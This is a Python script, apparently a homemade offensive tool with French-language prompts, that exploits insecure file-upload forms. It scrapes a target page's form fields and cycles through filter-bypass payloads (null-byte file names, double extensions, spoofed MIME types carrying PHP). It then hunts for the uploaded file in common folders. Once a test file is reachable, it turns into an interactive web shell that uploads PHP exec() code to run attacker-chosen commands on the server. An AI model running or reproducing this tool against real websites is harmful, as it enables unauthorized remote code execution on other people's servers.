⬅ Retour
UploadsTool / uploads.py
import requests
import time
import base64
import argparse
import re
import readline
from urllib.parse import urlparse, urljoin
import os
import binascii
# ============== PAYLOAD ============== #
main_payload = r"""
__/\\\\____________/\\\\_______________________________________________________________
_\/\\\\\\________/\\\\\\_______________________________________________________________
_\/\\\//\\\____/\\\//\\\_____________________________________/\\\______________________
_\/\\\\///\\\/\\\/_\/\\\___/\\\\\\\\\______/\\/\\\\\\_____/\\\\\\\\\\\___/\\\\\\\\\____
_\/\\\__\///\\\/___\/\\\__\////////\\\____\/\\\////\\\___\////\\\////___\////////\\\___
_\/\\\____\///_____\/\\\____/\\\\\\\\\\___\/\\\__\//\\\_____\/\\\_________/\\\\\\\\\\__
_\/\\\_____________\/\\\___/\\\/////\\\___\/\\\___\/\\\_____\/\\\_/\\____/\\\/////\\\__
_\/\\\_____________\/\\\__\//\\\\\\\\/\\__\/\\\___\/\\\_____\//\\\\\____\//\\\\\\\\/\\_
_\///______________\///____\////////\//___\///____\///_______\/////______\////////\//__"""
exit_payload = r"""
_____/\\\\\\\\\\\\_____________________________________/\\\_____________/\\\_____________________________________
___/\\\//////////_____________________________________\/\\\____________\/\\\_____________________________________
__/\\\________________________________________________\/\\\____________\/\\\___________/\\\__/\\\________________
_\/\\\____/\\\\\\\_____/\\\\\________/\\\\\___________\/\\\____________\/\\\__________\//\\\/\\\______/\\\\\\\\__
_\/\\\___\/////\\\___/\\\///\\\____/\\\///\\\____/\\\\\\\\\____________\/\\\\\\\\\_____\//\\\\\_____/\\\/////\\\_
_\/\\\_______\/\\\__/\\\__\//\\\__/\\\__\//\\\__/\\\////\\\____________\/\\\////\\\_____\//\\\_____/\\\\\\\\\\\__
_\/\\\_______\/\\\_\//\\\__/\\\__\//\\\__/\\\__\/\\\__\/\\\____________\/\\\__\/\\\__/\\_/\\\_____\//\\///////___
_\//\\\\\\\\\\\\/___\///\\\\\/____\///\\\\\/___\//\\\\\\\/\\___________\/\\\\\\\\\__\//\\\\/_______\//\\\\\\\\\\_
__\////////////_______\/////________\/////______\///////\//____________\/////////____\////__________\//////////__"""
#====================ARGUMENT====================
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', dest='url', required=True, help='Url to exploit')
parser.add_argument('-c', '--cookie', dest='cookie', default=None, help='Cookie (c1=v1;c2=v2)')
parser.add_argument('-a', '--auto', dest='auto', action='store_true', default=None, help='Auto test every payload')
parser.add_argument('-H', '--header', dest='header', default=None, help='Headers (h1:v1;h2:v2)')
parser.add_argument('-d', '--details', dest='details', action='store_true', default=None, help='Show details of request / file send')
parser.add_argument('-b', '--body', dest='body', default=None, help='Extra body (unused)')
parser.add_argument('-i', '--dirb', dest='dirb', default=None, help='Wordlist to test url folder')
parser.add_argument('-s', '--search', dest='search', action='store_true', help='Advanced research file (when u dont know where is your file)')
#parser.add_argument('-p', '--perso', dest='perso', action='store_true', default=None, help='Personnalize your file to upload')
args = parser.parse_args()
#==========================FUNCTION=========================#
def get_base_dir(url):
p = urlparse(url)
path = p.path
if not path.endswith('/'):
path = path.rsplit('/', 1)[0] + '/'
return f"{p.scheme}://{p.netloc}{path}"
#==============================FUNCTION==============================
def filename_variants(name):
if '%00' in name:
return [name, name.split('%00', 1)[0]]
return [name]
#==============================FUNCTION==============================
def find_file_urls(target_url, filename, returned_path=None, wordlist=None):
urls = set()
base = get_base_dir(target_url)
if returned_path:
clean = returned_path.lstrip('./')
for fn in filename_variants(filename):
urls.add(base + clean.replace(filename, fn))
for fn in filename_variants(filename):
urls.add(base + fn)
common_dirs = ['upload', 'uploads', 'files', 'images', 'file', 'image', 'video', 'videos']
for d in common_dirs:
for fn in filename_variants(filename):
urls.add(f"{base}{d}/{fn}")
if args.dirb:
with open(args.dirb, 'r', errors='ignore') as f:
for d in f:
d = d.strip().strip('/')
for fn in filename_variants(filename):
urls.add(f"{base}{d}/{fn}")
return list(urls)
#==============================FUNCTION==============================
def extract_vars(html):
forms = re.findall(r"<form[\s\S]*?</form>", html, flags=re.IGNORECASE)
names = set()
for form in forms:
names.update(re.findall(r'name=["\']([^"\']+)["\']', form, flags=re.IGNORECASE))
names.update(re.findall(r'name=([^"\'>\s]+)', form, flags=re.IGNORECASE))
return list(names)
#==============================FUNCTION==============================
def upload_file(url, field_name, payload, cookies=None, headers=None):
global quiet
content = payload["content"]
if isinstance(content, str):
content = content.encode()
#if args.perso:
# print("Example to personnalize your file :\nFile name : image.php\nContent file : <?php echo 'test'?>\nMIME file : image/gif\n")
# name = str(input("File name :"))
# content = str(input("Content file :"))
# mime = str(input("MIME file :"))
# files = {field_name: (name, content, mime)}
#else:
files = {field_name: (payload["file_name"], content, payload["mime"])}
r = session.post(url, files=files, data={"submit": "OK"}, cookies=cookies, headers=headers)
if args.details and not quiet:
print(f"#===================================================CONTENT PAGE===================================================\n{r.text}")
return r
#==============================FUNCTION==============================
def analyze_response(html):
result = {"success": False, "error": None, "path": None}
err = re.search(r"(wrong|error|invalid|denied|fail)[^<]*", html, re.I)
m = re.search(rf"(/[^\"'<>\s]*{re.escape(hash)}[^\"'<>\s]*)",html,re.I)
paths = re.findall(rf"""href=['"]([^'"]*{re.escape(hash)}[^'"]*)['"]""",html,re.I)
if err:
result["error"] = err.group(0).strip()
return result
if m:
result["path"] = m.group(1)
result["success"] = True
return result
if not paths:
return result
if len(paths) > 1:
print("[+] Fichier différent toruvés :\n")
for i, p in enumerate(paths, 1):
print(f"[{i}] {p}")
choice = int(input("Choix du fichier upload : "))
result["path"] = paths[choice - 1]
else:
result["path"] = paths[0]
result["success"] = True
return result
#==============================FUNCTION==============================
def upload_and_analyze(url, field_name, payload, cookies=None, headers=None):
global quiet
r = upload_file(url, field_name, payload, cookies, headers)
u = analyze_response(r.text)
if args.details and not quiet:
print("#============================#=============================================================#")
print(f"| Analyse response from html | {u}")
return u
#==============================FUNCTION==============================
def find_uploaded_file(target_url, payload, returned_path,cookies=None, headers=None, wordlist=None):
global quiet
urls = find_file_urls(target_url, payload['file_name'], returned_path, wordlist)
if args.details and not quiet:
for url in urls:
print("#============================#================================================================================#")
print(f'| Url test for retreive file | {url}')
print("#============================#================================================================================#")
for u in urls:
r = session.get(u, cookies=cookies, headers=headers)
if r.status_code == 200:
print(f"[+] HIT -> {u}")
return r.text, u
if args.search:
url_hit = search_from_hash(get_base_dir(target_url))
if url_hit:
r = session.get(url_hit, cookies=cookies, headers=headers)
if r.status_code == 200:
print(f"[+] HIT (By other url) -> {url_hit}")
quiet = True
return r.text, url_hit
return None, None
#==============================FUNCTION==============================
def search_from_hash(base):
global quiet
r = session.get(base, cookies=cookies, headers=headers)
links = re.findall(r"""href=['"]([^'"]+)['"]""", r.text, re.I)
for l in links:
link = urljoin(base, l)
page = session.get(link, cookies=cookies, headers=headers).text
if args.details and not quiet:
print("#============================#================================================================================#")
print(f"| Url test for retreive file | {link}")
print("#============================#================================================================================#")
print(page)
if hash in page:
m = re.search(rf"""href=['"]([^'"]*{re.escape(hash)}[^'"]*)['"]""",page,re.I)
print(f"m : {m.group(1)}")
if m:
real_path = m.group(1)
if real_path.startswith("./"):
real_path = real_path[1:]
real_url = base.rstrip("/") + real_path
return real_url
return None
#==========================COOKIES + HEADERS==========================#
cookies = None
headers = None
if args.cookie:
cookies = dict(c.split("=", 1) for c in args.cookie.split(";"))
if args.header:
headers = dict(h.split(":", 1) for h in args.header.split(";"))
#==========================VARIABLES==========================#
hash = binascii.hexlify(os.urandom(16)).decode()
# succes false cause exploit is false for the beginning
succes = False
# quiet = if exploir true, hide details
quiet = False
session = requests.Session()
session.cookies.update(cookies or {})
session.headers.update(headers or {})
#==========================PAYLOADS==========================#
payloads = {
0: {"file_name": f"{hash}.txt", "mime": "text/plain", "content": "Ray manta upload"},
1: {"file_name": f"{hash}.php%00.png", "mime": "image/jpeg", "content": "<?php echo 'Ray manta upload'; ?>"},
2: {"file_name": f"{hash}.php", "mime": "image/gif", "content": "<?php echo 'Ray manta upload'; ?>"},
3: {"file_name": f"{hash}.gif", "mime": "application/x-php", "content": "<?php echo 'Ray manta upload'; ?>"},
4: {"file_name": f"{hash}.php.jpg", "mime": "application/php", "content": "<?php echo 'Ray manta upload'; ?>"},
5: {"file_name": f"{hash}.docx", "mime": "text/plain", "content": "Ray manta upload"},
6: {"file_name": f"{hash}.php%00.docx", "mime": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "content": "<?php echo 'Ray manta upload'; ?>"},
7: {"file_name": f"{hash}.php", "mime": "image/gif", "content": "<?php echo 'Ray manta upload'; ?>"},
8: {"file_name": f"{hash}.docx", "mime": "application/x-php", "content": "<?php echo 'Ray manta upload'; ?>"},
9: {"file_name": f"{hash}.php.docx", "mime": "application/php", "content": "<?php echo 'Ray manta upload'; ?>"},
10: {"file_name": f"{hash}.eex", "mime": "text/x-elixir", "content": "<?php echo 'Ray manta upload'; ?>"},
11: {"file_name": f"{hash}.eex", "mime": "text/plain", "content": "Ray manta upload"}
}
# \xff\xd8\xff\xe0
#====================================OPTIONS====================================#
print(f"{main_payload}\n")
#if args.auto and args.perso:
# print("[!] You can't send a personnalized file and send all payloads")
# print(exit_payload)
# exit()
if args.url:
print(f"[+] Target : {args.url}")
html = session.get(args.url, cookies=cookies, headers=headers).text
vars = extract_vars(html)
if len(vars) == 0:
print("[!] Aucun champ trouvé")
if args.search:
print("[!] Utilisation par défaut du champ file")
field_name = "file"
else:
print("[!] Recommandation (-s | --search) pour recherche avancé")
print(exit_payload)
exit()
elif len(vars) == 1:
field_name = vars[0]
print(f"[+] Champ trouvé : {field_name}")
else:
print("[+] Champs disponibles :")
for idx, var in enumerate(vars):
print(f"[{idx}] {var}")
field_name = vars[int(input("\nChoisir un numéro de payload : "))]
if args.auto:
test_payload = payloads.keys()
else:
print("\n[+] Payloads disponibles :")
for idx in payloads:
print(f"[{idx}] {payloads[idx]['file_name']}")
test_payload = [int(input("\n[+] Choisis le numéro du payload : "))]
print("\n[+] Lancement des tests...\n")
for idx in test_payload:
payload = payloads[idx]
print(f"[+] Upload '{payload['file_name']}' sur la variable '{field_name}'")
res = upload_and_analyze(args.url, field_name, payload, cookies, headers)
if args.details:
print(f"| Information file uploaded | {payload}")
print("#============================#=============================================================#")
if not res["success"]:
print(f"[-] FAIL -> {res['error']}\n")
continue
content, url = find_uploaded_file(args.url, payload, res["path"], cookies, headers, args.dirb)
if content == "Ray manta upload":
print("[+] EXPLOIT succes")
while True:
cmd = input("exit | quit | back to stop exploit\nExploit command : ")
if cmd.lower() in ["exit", "quit", "back"]:
print(exit_payload)
exit()
payload["content"] = f"<?php exec('{cmd}', $r); var_dump($r);?>"
res = upload_and_analyze(args.url, field_name, payload, cookies, headers)
if not res["success"]:
continue
content, _ = find_uploaded_file(args.url, payload, res["path"], cookies, headers, args.dirb)
if content:
print(content)
else:
print(res)
print(f"\n[!] File not found or file error, content : \n{content}\n")
print("[+] Terminé")
print(exit_payload)
else:
print("[!] Tu dois spécifier une url (-u | --url)")